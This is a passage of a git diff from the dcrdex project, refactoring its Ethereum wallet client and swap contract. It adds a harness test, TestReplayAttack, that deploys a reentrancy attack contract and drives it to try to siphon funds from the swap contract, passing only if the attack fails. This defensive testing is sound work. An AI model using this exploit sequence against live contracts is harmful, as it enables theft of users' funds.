diff --git a/client/asset/eth/eth.go b/client/asset/eth/eth.go index e475cd07cf..7819023bf7 100644 --- a/client/asset/eth/eth.go +++ b/client/asset/eth/eth.go @@ -7,6 +7,7 @@ import ( "bytes" "context" "crypto/sha256" + "errors" "fmt" "math/big" "strings" @@ -106,7 +107,7 @@ type rawWallet struct { type ethFetcher interface { accounts() []*accounts.Account addPeer(ctx context.Context, peer string) error - balance(ctx context.Context, acct *accounts.Account) (*big.Int, error) + balance(ctx context.Context, addr common.Address) (*big.Int, error) bestBlockHash(ctx context.Context) (common.Hash, error) bestHeader(ctx context.Context) (*types.Header, error) block(ctx context.Context, hash common.Hash) (*types.Block, error) @@ -235,7 +236,10 @@ func (eth *ExchangeWallet) OwnsAddress(address string) (bool, error) { // // TODO: Return Immature and Locked values. func (eth *ExchangeWallet) Balance() (*asset.Balance, error) { - bigBal, err := eth.node.balance(eth.ctx, eth.acct) + if eth.acct == nil { + return nil, errors.New("account not set") + } + bigBal, err := eth.node.balance(eth.ctx, eth.acct.Address) if err != nil { return nil, err } @@ -400,12 +404,12 @@ func (*ExchangeWallet) PayFee(address string, regFee uint64) (asset.Coin, error) } // sendToAddr sends funds from acct to addr. -func (eth *ExchangeWallet) sendToAddr(addr common.Address, amt, gasFee *big.Int) (common.Hash, error) { +func (eth *ExchangeWallet) sendToAddr(addr common.Address, amt, gasPrice *big.Int) (common.Hash, error) { tx := map[string]string{ "from": fmt.Sprintf("0x%x", eth.acct.Address), "to": fmt.Sprintf("0x%x", addr), "value": fmt.Sprintf("0x%x", amt), - "gasPrice": fmt.Sprintf("0x%x", gasFee), + "gasPrice": fmt.Sprintf("0x%x", gasPrice), } return eth.node.sendTransaction(eth.ctx, tx) } diff --git a/client/asset/eth/eth_test.go b/client/asset/eth/eth_test.go index 7976c25957..5a8673b8d3 100644 --- a/client/asset/eth/eth_test.go +++ b/client/asset/eth/eth_test.go @@ -62,7 +62,7 @@ func (n *testNode) block(ctx context.Context, hash common.Hash) (*types.Block, e func (n *testNode) accounts() []*accounts.Account { return nil } -func (n *testNode) balance(ctx context.Context, acct *accounts.Account) (*big.Int, error) { +func (n *testNode) balance(ctx context.Context, acct common.Address) (*big.Int, error) { return n.bal, n.balErr } func (n *testNode) sendTransaction(ctx context.Context, tx map[string]string) (common.Hash, error) { @@ -330,6 +330,7 @@ func TestBalance(t *testing.T) { node: node, ctx: ctx, log: tLogger, + acct: new(accounts.Account), } bal, err := eth.Balance() cancel() diff --git a/client/asset/eth/rpcclient.go b/client/asset/eth/rpcclient.go index a46076f9e1..ce388490e1 100644 --- a/client/asset/eth/rpcclient.go +++ b/client/asset/eth/rpcclient.go @@ -103,9 +103,9 @@ func (c *rpcclient) accounts() []*accounts.Account { return accts } -// balance gets the current balance of an account. -func (c *rpcclient) balance(ctx context.Context, acct *accounts.Account) (*big.Int, error) { - return c.ec.BalanceAt(ctx, acct.Address, nil) +// balance gets the current balance of an address. +func (c *rpcclient) balance(ctx context.Context, addr common.Address) (*big.Int, error) { + return c.ec.BalanceAt(ctx, addr, nil) } // unlock uses a raw request to unlock an account indefinitely. @@ -234,17 +234,25 @@ func (c *rpcclient) wallet(acct accounts.Account) (accounts.Wallet, error) { return wallet, nil } +func (c *rpcclient) addSignerToOpts(txOpts *bind.TransactOpts, netID int64) error { + wallet, err := c.wallet(accounts.Account{Address: txOpts.From}) + if err != nil { + return err + } + txOpts.Signer = func(addr common.Address, tx *types.Transaction) (*types.Transaction, error) { + return wallet.SignTx(accounts.Account{Address: addr}, tx, big.NewInt(netID)) + } + return nil +} + // initiate creates a swap contract. The initiator will be the account at // txOpts.From. Any on-chain failure, such as this secret hash already existing // in the swaps map, will not cause this to error. func (c *rpcclient) initiate(txOpts *bind.TransactOpts, netID int64, refundTimestamp int64, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { - wallet, err := c.wallet(accounts.Account{Address: txOpts.From}) + err := c.addSignerToOpts(txOpts, netID) if err != nil { return nil, err } - txOpts.Signer = func(addr common.Address, tx *types.Transaction) (*types.Transaction, error) { - return wallet.SignTx(accounts.Account{Address: addr}, tx, big.NewInt(netID)) - } return c.es.Initiate(txOpts, big.NewInt(refundTimestamp), secretHash, participant) } @@ -252,13 +260,10 @@ func (c *rpcclient) initiate(txOpts *bind.TransactOpts, netID int64, refundTimes // Any on-chain failure, such as this secret not matching the hash, will not cause // this to error. func (c *rpcclient) redeem(txOpts *bind.TransactOpts, netID int64, secret, secretHash [32]byte) (*types.Transaction, error) { - wallet, err := c.wallet(accounts.Account{Address: txOpts.From}) + err := c.addSignerToOpts(txOpts, netID) if err != nil { return nil, err } - txOpts.Signer = func(addr common.Address, tx *types.Transaction) (*types.Transaction, error) { - return wallet.SignTx(accounts.Account{Address: addr}, tx, big.NewInt(netID)) - } return c.es.Redeem(txOpts, secret, secretHash) } @@ -266,12 +271,9 @@ func (c *rpcclient) redeem(txOpts *bind.TransactOpts, netID int64, secret, secre // Any on-chain failure, such as the locktime not being past, will not cause // this to error. func (c *rpcclient) refund(txOpts *bind.TransactOpts, netID int64, secretHash [32]byte) (*types.Transaction, error) { - wallet, err := c.wallet(accounts.Account{Address: txOpts.From}) + err := c.addSignerToOpts(txOpts, netID) if err != nil { return nil, err } - txOpts.Signer = func(addr common.Address, tx *types.Transaction) (*types.Transaction, error) { - return wallet.SignTx(accounts.Account{Address: addr}, tx, big.NewInt(netID)) - } return c.es.Refund(txOpts, secretHash) } diff --git a/client/asset/eth/rpcclient_harness_test.go b/client/asset/eth/rpcclient_harness_test.go index 8e5b77eb5a..54db6ba161 100644 --- a/client/asset/eth/rpcclient_harness_test.go +++ b/client/asset/eth/rpcclient_harness_test.go @@ -16,7 +16,7 @@ // particular problem for now. // // TODO: Running these tests many times eventually results in all transactions -// returning "unexpeted error for test ok: exceeds block gas limit". Find out +// returning "unexpected error for test ok: exceeds block gas limit". Find out // why that is. package eth @@ -38,6 +38,7 @@ import ( "decred.org/dcrdex/client/asset" "decred.org/dcrdex/dex" "decred.org/dcrdex/dex/encode" + "decred.org/dcrdex/internal/eth/reentryattack" "decred.org/dcrdex/server/asset/eth" "github.com/davecgh/go-spew/spew" "github.com/ethereum/go-ethereum/accounts" @@ -47,7 +48,8 @@ import ( const ( pw = "abc" - alphaAddr = "enode://897c84f6e4f18195413c1d02927e6a4093f5e7574b52bdec6f20844c4f1f6dd3f16036a9e600bd8681ab50fd8dd144df4a6ba9dd8722bb578a86aaa8222c964f@127.0.0.1:30304" + alphaNode = "enode://897c84f6e4f18195413c1d02927e6a4093f5e7574b52bdec6f20844c4f1f6dd3f16036a9e600bd8681ab50fd8dd144df4a6ba9dd8722bb578a86aaa8222c964f@127.0.0.1:30304" + alphaAddr = "18d65fb8d60c1199bb1ad381be47aa692b482605" ) var ( @@ -63,8 +65,9 @@ var ( simnetAcct = &accounts.Account{Address: simnetAddr} participantAddr = common.HexToAddress("345853e21b1d475582E71cC269124eD5e2dD3422") participantAcct = &accounts.Account{Address: participantAddr} + contractAddr common.Address simnetID = int64(42) - newTXOpts = func(ctx context.Context, from common.Address, value *big.Int) *bind.TransactOpts { + newTxOpts = func(ctx context.Context, from common.Address, value *big.Int) *bind.TransactOpts { return &bind.TransactOpts{ GasPrice: gasPrice, GasLimit: 1e6, @@ -132,8 +135,9 @@ func TestMain(m *testing.M) { fmt.Printf("no contract address found at %v\n", contractAddrFile) os.Exit(1) } - addrBytes = addrBytes[:addrLen-1] - fmt.Printf("Contract address is %v\n", string(addrBytes)) + addrStr := string(addrBytes[:addrLen-1]) + contractAddr = common.HexToAddress(addrStr) + fmt.Printf("Contract address is %v\n", addrStr) settings := map[string]string{ "appdir": testDir, "nodelistenaddr": "localhost:30355", @@ -148,7 +152,7 @@ func TestMain(m *testing.M) { wallet.internalNode.Close() wallet.internalNode.Wait() }() - if err := ethClient.connect(ctx, wallet.internalNode, common.HexToAddress(string(addrBytes))); err != nil { + if err := ethClient.connect(ctx, wallet.internalNode, common.HexToAddress(addrStr)); err != nil { fmt.Printf("connect error: %v\n", err) os.Exit(1) } @@ -164,7 +168,7 @@ func TestNodeInfo(t *testing.T) { } func TestAddPeer(t *testing.T) { - if err := ethClient.addPeer(ctx, alphaAddr); err != nil { + if err := ethClient.addPeer(ctx, alphaNode); err != nil { t.Fatal(err) } } @@ -251,7 +255,7 @@ func TestAccounts(t *testing.T) { } func TestBalance(t *testing.T) { - bal, err := ethClient.balance(ctx, simnetAcct) + bal, err := ethClient.balance(ctx, simnetAddr) if err != nil { t.Fatal(err) } @@ -297,7 +301,7 @@ func TestSendTransaction(t *testing.T) { } spew.Dump(txHash) if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatal("timeout") + t.Fatal(err) } } @@ -317,7 +321,7 @@ func TestTransactionReceipt(t *testing.T) { t.Fatal(err) } if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatal("timeout") + t.Fatal(err) } receipt, err := ethClient.transactionReceipt(ctx, txHash) if err != nil { @@ -371,7 +375,7 @@ func TestInitiate(t *testing.T) { t.Fatal(err) } amt := big.NewInt(1e18) - txOpts := newTXOpts(ctx, simnetAddr, amt) + txOpts := newTxOpts(ctx, simnetAddr, amt) swap, err := ethClient.swap(ctx, simnetAcct, secretHash) if err != nil { t.Fatal("unable to get swap state") @@ -379,7 +383,7 @@ func TestInitiate(t *testing.T) { spew.Dump(swap) state := eth.SwapState(swap.State) if state != eth.None { - t.Fatalf("unexpeted swap state: want %s got %s", eth.None, state) + t.Fatalf("unexpected swap state: want %s got %s", eth.None, state) } tests := []struct { @@ -398,25 +402,25 @@ func TestInitiate(t *testing.T) { }} for _, test := range tests { - originalBal, err := ethClient.balance(ctx, simnetAcct) + originalBal, err := ethClient.balance(ctx, simnetAddr) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } tx, err := ethClient.initiate(txOpts, simnetID, now, secretHash, participantAddr) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } spew.Dump(tx) if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } // It appears the receipt is only accessable after the tx is mined. receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } spew.Dump(receipt) @@ -424,9 +428,9 @@ func TestInitiate(t *testing.T) { // whether initiate completed successfully on-chain. If // unsuccessful the fee is subtracted. If successful, amt is // also subtracted. - bal, err := ethClient.balance(ctx, simnetAcct) + bal, err := ethClient.balance(ctx, simnetAddr) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) wantBal := big.NewInt(0).Sub(originalBal, txFee) @@ -434,16 +438,16 @@ func TestInitiate(t *testing.T) { wantBal.Sub(wantBal, amt) } if bal.Cmp(wantBal) != 0 { - t.Fatalf("unexpeted balance change for test %v: want %v got %v", test.name, wantBal, bal) + t.Fatalf("unexpected balance change for test %v: want %v got %v", test.name, wantBal, bal) } swap, err = ethClient.swap(ctx, simnetAcct, secretHash) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } state := eth.SwapState(swap.State) if state != test.finalState { - t.Fatalf("unexpeted swap state for test %v: want %s got %s", test.name, test.finalState, state) + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, test.finalState, state) } } } @@ -491,7 +495,7 @@ func TestRedeem(t *testing.T) { if err != nil { t.Fatal(err) } - txOpts := newTXOpts(ctx, simnetAddr, amt) + txOpts := newTxOpts(ctx, simnetAddr, amt) var secret [32]byte copy(secret[:], encode.RandomBytes(32)) secretHash := sha256.Sum256(secret[:]) @@ -502,43 +506,43 @@ func TestRedeem(t *testing.T) { } state := eth.SwapState(swap.State) if state != eth.None { - t.Fatalf("unexpeted swap state for test %v: want %s got %s", test.name, eth.None, state) + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, eth.None, state) } - // Create a secret that doesn't has to secredHash. + // Create a secret that doesn't has to secretHash. if test.badSecret { copy(secret[:], encode.RandomBytes(32)) } inLocktime := time.Now().Add(locktime).Unix() - _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAcct.Address) + _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAddr) if err != nil { t.Fatalf("unable to initiate swap for test %v: %v ", test.name, err) } // This waitForMined will always take test.sleep to complete. if err := waitForMined(t, test.sleep, true); err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } - originalBal, err := ethClient.balance(ctx, test.redeemer) + originalBal, err := ethClient.balance(ctx, test.redeemer.Address) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } - txOpts = newTXOpts(ctx, test.redeemer.Address, nil) + txOpts = newTxOpts(ctx, test.redeemer.Address, nil) tx, err := ethClient.redeem(txOpts, simnetID, secret, secretHash) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } spew.Dump(tx) if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } // It appears the receipt is only accessable after the tx is mined. receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } spew.Dump(receipt) @@ -546,9 +550,9 @@ func TestRedeem(t *testing.T) { // depending on whether redeem completed successfully on-chain. // If unsuccessful the fee is subtracted. If successful, amt is // added. - bal, err := ethClient.balance(ctx, test.redeemer) + bal, err := ethClient.balance(ctx, test.redeemer.Address) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) wantBal := big.NewInt(0).Sub(originalBal, txFee) @@ -556,16 +560,16 @@ func TestRedeem(t *testing.T) { wantBal.Add(wantBal, amt) } if bal.Cmp(wantBal) != 0 { - t.Fatalf("unexpeted balance change for test %v: want %v got %v", test.name, wantBal, bal) + t.Fatalf("unexpected balance change for test %v: want %v got %v", test.name, wantBal, bal) } swap, err = ethClient.swap(ctx, simnetAcct, secretHash) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } state = eth.SwapState(swap.State) if state != test.finalState { - t.Fatalf("unexpeted swap state for test %v: want %s got %s", test.name, test.finalState, state) + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, test.finalState, state) } } } @@ -612,7 +616,7 @@ func TestRefund(t *testing.T) { if err != nil { t.Fatal(err) } - txOpts := newTXOpts(ctx, simnetAddr, amt) + txOpts := newTxOpts(ctx, simnetAddr, amt) var secret [32]byte copy(secret[:], encode.RandomBytes(32)) secretHash := sha256.Sum256(secret[:]) @@ -623,51 +627,51 @@ func TestRefund(t *testing.T) { } state := eth.SwapState(swap.State) if state != eth.None { - t.Fatalf("unexpeted swap state for test %v: want %s got %s", test.name, eth.None, state) + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, eth.None, state) } inLocktime := time.Now().Add(locktime).Unix() - _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAcct.Address) + _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAddr) if err != nil { t.Fatalf("unable to initiate swap for test %v: %v ", test.name, err) } if test.redeem { if err := waitForMined(t, time.Second*8, false); err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } - txOpts = newTXOpts(ctx, participantAddr, nil) + txOpts = newTxOpts(ctx, participantAddr, nil) _, err := ethClient.redeem(txOpts, simnetID, secret, secretHash) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } } // This waitForMined will always take test.sleep to complete. if err := waitForMined(t, test.sleep, true); err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } - originalBal, err := ethClient.balance(ctx, test.refunder) + originalBal, err := ethClient.balance(ctx, test.refunder.Address) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } - txOpts = newTXOpts(ctx, test.refunder.Address, nil) + txOpts = newTxOpts(ctx, test.refunder.Address, nil) tx, err := ethClient.refund(txOpts, simnetID, secretHash) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } spew.Dump(tx) if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } // It appears the receipt is only accessable after the tx is mined. receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } spew.Dump(receipt) @@ -675,9 +679,9 @@ func TestRefund(t *testing.T) { // depending on whether redeem completed successfully on-chain. // If unsuccessful the fee is subtracted. If successful, amt is // added. - bal, err := ethClient.balance(ctx, test.refunder) + bal, err := ethClient.balance(ctx, test.refunder.Address) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) wantBal := big.NewInt(0).Sub(originalBal, txFee) @@ -685,16 +689,153 @@ func TestRefund(t *testing.T) { wantBal.Add(wantBal, amt) } if bal.Cmp(wantBal) != 0 { - t.Fatalf("unexpeted balance change for test %v: want %v got %v", test.name, wantBal, bal) + t.Fatalf("unexpected balance change for test %v: want %v got %v", test.name, wantBal, bal) } swap, err = ethClient.swap(ctx, simnetAcct, secretHash) if err != nil { - t.Fatalf("unexpeted error for test %v: %v", test.name, err) + t.Fatalf("unexpected error for test %v: %v", test.name, err) } state = eth.SwapState(swap.State) if state != test.finalState { - t.Fatalf("unexpeted swap state for test %v: want %s got %s", test.name, test.finalState, state) + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, test.finalState, state) } } } + +func TestReplayAttack(t *testing.T) { + amt := big.NewInt(1e18) + err := ethClient.unlock(ctx, pw, simnetAcct) + if err != nil { + t.Fatal(err) + } + + txOpts := newTxOpts(ctx, simnetAddr, nil) + err = ethClient.addSignerToOpts(txOpts, simnetID) + if err != nil { + t.Fatal(err) + } + + // Deploy the fund reentry contract. + _, _, reentryContract, err := reentryattack.DeployReentryAttack(txOpts, ethClient.ec) + if err != nil { + t.Fatal(err) + } + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + + originalContractBal, err := ethClient.balance(ctx, contractAddr) + if err != nil { + t.Fatal(err) + } + + txOpts.Value = amt + var secretHash [32]byte + // Make four swaps that should be locked and refundable and one that is soon refundable. + for i := 0; i < 5; i++ { + var secret [32]byte + copy(secret[:], encode.RandomBytes(32)) + secretHash = sha256.Sum256(secret[:]) + + if i != 4 { + inLocktime := time.Now().Add(time.Hour).Unix() + _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAddr) + if err != nil { + t.Fatalf("unable to initiate swap: %v ", err) + } + + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + continue + } + + inLocktime := time.Now().Add(-1 * time.Second).Unix() + // Set some variables in the contract use for the exploit. This + // will fail (silently) due to require(msg.origin == msg.sender) + // in the real contract. + _, err := reentryContract.SetUsUpTheBomb(txOpts, contractAddr, secretHash, big.NewInt(inLocktime), participantAddr) + if err != nil { + t.Fatalf("unable to set up the bomb: %v", err) + } + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + } + + txOpts.Value = nil + // Siphon funds into the contract. + tx, err := reentryContract.AllYourBase(txOpts) + if err != nil { + t.Fatalf("unable to get all your base: %v", err) + } + spew.Dump(tx) + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil { + t.Fatalf("unable to get receipt: %v", err) + } + spew.Dump(receipt) + + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + + originalAcctBal, err := ethClient.balance(ctx, simnetAddr) + if err != nil { + t.Fatal(err) + } + + // Send the siphoned funds to us. + tx, err = reentryContract.AreBelongToUs(txOpts) + if err != nil { + t.Fatalf("unable to are belong to us: %v", err) + } + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + receipt, err = ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil { + t.Fatal(err) + } + txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) + wantBal := big.NewInt(0).Sub(originalAcctBal, txFee) + + bal, err := ethClient.balance(ctx, simnetAddr) + if err != nil { + t.Fatal(err) + } + + // If the exploit worked, the test will fail here, with all funds + // drained from the contract. + if bal.Cmp(wantBal) != 0 { + diff := big.NewInt(0).Sub(bal, wantBal) + t.Fatalf("unexpected balance change of account: want %v got %v "+ + "or a difference of %v", wantBal, bal, diff) + } + + // The exploit failed and status should not have changed. + swap, err := ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatal(err) + } + state := eth.SwapState(swap.State) + if state != eth.None { + t.Fatalf("unexpected swap state: want %s got %s", eth.None, state) + } + + // The contract should hold four more ether because initiation of one + // swap failed. + bal, err = ethClient.balance(ctx, contractAddr) + if err != nil { + t.Fatal(err) + } + expectDiff := big.NewInt(0).Mul(big.NewInt(int64(4)), amt) + wantBal = big.NewInt(0).Add(originalContractBal, expectDiff) + if bal.Cmp(wantBal) != 0 { + t.Fatalf("unexpected balance change of contract: want %v got %v", wantBal, bal) + } +} diff --git a/dex/networks/eth/contract.go b/dex/networks/eth/contract.go index 7ab669f32e..45030cfc8e 100644 --- a/dex/networks/eth/contract.go +++ b/dex/networks/eth/contract.go @@ -51,7 +51,7 @@ var ETHSwapFuncSigs = map[string]string{ } // ETHSwapBin is the compiled bytecode used for deploying new contracts. -var ETHSwapBin = "0x608060405234801561001057600080fd5b50610742806100206000396000f3fe60806040526004361061004a5760003560e01c80637249fbb61461004f57806376467cbd14610071578063ae052147146100a7578063b31597ad146100ba578063eb84e7f2146100da575b600080fd5b34801561005b57600080fd5b5061006f61006a36600461053b565b61015c565b005b34801561007d57600080fd5b5061009161008c36600461053b565b610243565b60405161009e9190610631565b60405180910390f35b61006f6100b536600461058f565b61032e565b3480156100c657600080fd5b5061006f6100d536600461056d565b6103f3565b3480156100e657600080fd5b506101486100f536600461053b565b6000602081905290815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492936001600160a01b0392831693919092169160ff1688565b60405161009e9897969594939291906106a1565b32331461016857600080fd5b8033600160008381526020819052604090206007015460ff166003811115610192576101926106f6565b1461019c57600080fd5b6000828152602081905260409020600401546001600160a01b038281169116146101c557600080fd5b600082815260208190526040902060010154428111156101e457600080fd5b600084815260208190526040808220600601549051339282156108fc02929190818181858888f19350505050158015610221573d6000803e3d6000fd5b505050600091825250602081905260409020600701805460ff19166003179055565b6102886040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290529060e082015290565b6000828152602081815260409182902082516101008101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b03908116608084015260058401541660a0830152600683015460c0830152600783015491929160e084019160ff90911690811115610314576103146106f6565b6003811115610325576103256106f6565b90525092915050565b826000341161033c57600080fd5b6000811161034957600080fd5b32331461035557600080fd5b826000808281526020819052604090206007015460ff16600381111561037d5761037d6106f6565b1461038757600080fd5b6000848152602081905260409020438155600180820187905560028201869055600482018054336001600160a01b0319918216179091556005830180549091166001600160a01b0387161790553460068301556007909101805460ff1916828002179055505050505050565b3233146103ff57600080fd5b808233600160008481526020819052604090206007015460ff16600381111561042a5761042a6106f6565b1461043457600080fd5b6000838152602081905260409020600501546001600160a01b0382811691161461045d57600080fd5b8260028360405160200161047391815260200190565b60408051601f198184030181529082905261048d916105f6565b602060405180830381855afa1580156104aa573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906104cd9190610554565b146104d757600080fd5b600084815260208190526040808220600601549051339282156108fc02929190818181858888f19350505050158015610514573d6000803e3d6000fd5b50505060009182525060208190526040902060078101805460ff1916600217905560030155565b60006020828403121561054d57600080fd5b5035919050565b60006020828403121561056657600080fd5b5051919050565b6000806040838503121561058057600080fd5b50508035926020909101359150565b6000806000606084860312156105a457600080fd5b833592506020840135915060408401356001600160a01b03811681146105c957600080fd5b809150509250925092565b600481106105f257634e487b7160e01b600052602160045260246000fd5b9052565b6000825160005b8181101561061757602081860181015185830152016105fd565b81811115610626576000828501525b509190910192915050565b60006101008201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015160c083015260e083015161069a60e08401826105d4565b5092915050565b8881526020810188905260408101879052606081018690526001600160a01b038581166080830152841660a082015260c0810183905261010081016106e960e08301846105d4565b9998505050505050505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220b555a7551bad7d0030b3e4c81ceaf6b3e8becbf457b8d5dfa3484a5eb822674864736f6c63430008060033" +var ETHSwapBin = "0x608060405234801561001057600080fd5b50610784806100206000396000f3fe60806040526004361061004a5760003560e01c80637249fbb61461004f57806376467cbd14610071578063ae052147146100a7578063b31597ad146100ba578063eb84e7f2146100da575b600080fd5b34801561005b57600080fd5b5061006f61006a36600461057d565b61015c565b005b34801561007d57600080fd5b5061009161008c36600461057d565b61025e565b60405161009e9190610673565b60405180910390f35b61006f6100b53660046105d1565b610349565b3480156100c657600080fd5b5061006f6100d53660046105af565b61040e565b3480156100e657600080fd5b506101486100f536600461057d565b6000602081905290815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492936001600160a01b0392831693919092169160ff1688565b60405161009e9897969594939291906106e3565b32331461016857600080fd5b80600160008281526020819052604090206007015460ff16600381111561019157610191610738565b1461019b57600080fd5b6000818152602081905260409020600401546001600160a01b031633146101c157600080fd5b600081815260208190526040902060010154428111156101e057600080fd5b60008381526020819052604080822060078101805460ff191660031790556006015490513391908381818185875af1925050503d806000811461023f576040519150601f19603f3d011682016040523d82523d6000602084013e610244565b606091505b509091505060018115151461025857600080fd5b50505050565b6102a36040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290529060e082015290565b6000828152602081815260409182902082516101008101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b03908116608084015260058401541660a0830152600683015460c0830152600783015491929160e084019160ff9091169081111561032f5761032f610738565b600381111561034057610340610738565b90525092915050565b826000341161035757600080fd5b6000811161036457600080fd5b32331461037057600080fd5b826000808281526020819052604090206007015460ff16600381111561039857610398610738565b146103a257600080fd5b6000848152602081905260409020438155600180820187905560028201869055600482018054336001600160a01b0319918216179091556005830180549091166001600160a01b0387161790553460068301556007909101805460ff1916828002179055505050505050565b32331461041a57600080fd5b8082600160008381526020819052604090206007015460ff16600381111561044457610444610738565b1461044e57600080fd5b6000828152602081905260409020600501546001600160a01b0316331461047457600080fd5b8160028260405160200161048a91815260200190565b60408051601f19818403018152908290526104a491610638565b602060405180830381855afa1580156104c1573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906104e49190610596565b146104ee57600080fd5b60008381526020819052604080822060078101805460ff191660021790556006015490513391908381818185875af1925050503d806000811461054d576040519150601f19603f3d011682016040523d82523d6000602084013e610552565b606091505b509091505060018115151461056657600080fd5b505050600090815260208190526040902060030155565b60006020828403121561058f57600080fd5b5035919050565b6000602082840312156105a857600080fd5b5051919050565b600080604083850312156105c257600080fd5b50508035926020909101359150565b6000806000606084860312156105e657600080fd5b833592506020840135915060408401356001600160a01b038116811461060b57600080fd5b809150509250925092565b6004811061063457634e487b7160e01b600052602160045260246000fd5b9052565b6000825160005b81811015610659576020818601810151858301520161063f565b81811115610668576000828501525b509190910192915050565b60006101008201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015160c083015260e08301516106dc60e0840182610616565b5092915050565b8881526020810188905260408101879052606081018690526001600160a01b038581166080830152841660a082015260c08101839052610100810161072b60e0830184610616565b9998505050505050505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220f5008532d651b31b24a7d133ff5dd0c4461e5f6339f32c9d551cb9cf81107e6b64736f6c63430008060033" // DeployETHSwap deploys a new Ethereum contract, binding an instance of ETHSwap to it. func DeployETHSwap(auth *bind.TransactOpts, backend bind.ContractBackend) (common.Address, *types.Transaction, *ETHSwap, error) { diff --git a/dex/networks/eth/contracts/ETHSwapV0.sol b/dex/networks/eth/contracts/ETHSwapV0.sol index acfd584ce8..81f8d7a654 100644 --- a/dex/networks/eth/contracts/ETHSwapV0.sol +++ b/dex/networks/eth/contracts/ETHSwapV0.sol @@ -1,8 +1,36 @@ // SPDX-License-Identifier: BlueOak-1.0.0 -pragma solidity >=0.7.0 <0.9.0; +// pragma should be as specific as possible to 